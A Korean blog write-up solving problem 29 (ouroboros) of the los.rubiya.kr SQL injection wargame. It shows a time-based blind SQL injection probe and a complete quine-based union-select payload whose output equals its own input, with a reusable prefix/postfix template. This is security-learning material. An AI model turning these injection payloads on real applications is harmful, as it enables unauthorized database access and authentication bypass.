[LOS] 29번 문제 풀이(ouroboros)

1 분 소요

💡 los.rubiya.kr 29번 문제에 대한 풀이입니다.

29번(ouroboros)

문제

image

풀이

이 문제를 처음 보면, 쉬운 문제로 생각할 것입니다. 우선 pw에 필터링이 거의 걸려있지 않기 때문에, 다음과 같이 timebased blind sql injection을 수행해서 비밀번호의 길이를 알아내려고 시도를 합니다.

select pw from prob_ouroboros where pw='' or if(length(pw)=8,sleep(2),0)#'

하지만 코드를 실행해보면, pw길이가 나오지 않는다는 것을 알 수 있습니다. 즉 테이블 내에는 pw가 존재하지 않습니다.

다음과 같이 union select문을 사용하면 pw 값이 출력이 됩니다.

image

즉 이 문제를 해결해야 하는 조건은 다음과 같습니다.

$result['pw'] === $_GET['pw']) // 클리어 조건

union select 구문을 이용해서 pw 값을 출력하되($result['pw']), 
출력되는 pw 값과 해당 pw 값을 출력하기 위해서 사용된 union select 구문($_GET['pw'])이 같아야 한다.

Quine (Computing)

콰인이란 자기 자신의 코드를 결과로 출력하는 프로그램을 의미합니다. 다음과 같은 quine sql 구문을 이용해서 이번 문제에 적용해야 합니다.

select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');

자세한 설명은 출처 블로그에 더 잘 쓰여 있으므로, 저는 활용법에 대한 예제만 몇개 작성해보고 문제를 풀겠습니다.

위의 내용을 활용하는 활용하는 방법은 다음과 같습니다. 우선 이 복잡한 quine 쿼리문의 구조는 간단하게 표현하면 다음과 같이 생각하시면 됩니다.

[prefix] select [quine] [postfix];

인젝션 문제에서 사용하기 위해 union select를 하려면 prefix 부분에 union을 넣어주면 되며, 마지막에 주석 처리 등이 필요하다면 postfix 부분에 #이나 –을 넣어주면 됩니다.

이때, 주의할 점은 하나의 prefix나, postfix를 변경할때는 3번의 변경이 들어간다는 점입니다. 변경해야 하는 지점은 아래의 표시해 놨으며 왜 저기 3부분을 변경해야 하는지는 함수를 천천히 따라가 보면 이해가 되실 겁니다.

[prefix] select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix]

이번 문제에서 적용을 해보겠습니다.

우선 우리 문제에서는 prefix와 postfix가 다음과 같습니다.

  • prefix : ‘ union
  • postfix : %23

이 부분을 적용해서 quine문을 바꾸면 다음과 같습니다.

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$") %23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$") %23') %23

주의할 점은 [prefix] 부분에서 싱글쿼터(‘)가 두번째, 세번째 [prefix]에 넣을때는 더블 쿼터(“)로 넣은 부분입니다. 중간에 replace함수에 의해서 어떻게 바뀌는지 따라가 보시길 바랍니다.

이렇게 해서 pw에 값을 넣으면 클리어 할 수 있습니다.

image

Reference

https://blog.p6.is/quine-sql-injection/ https://aidencom.tistory.com/325

댓글남기기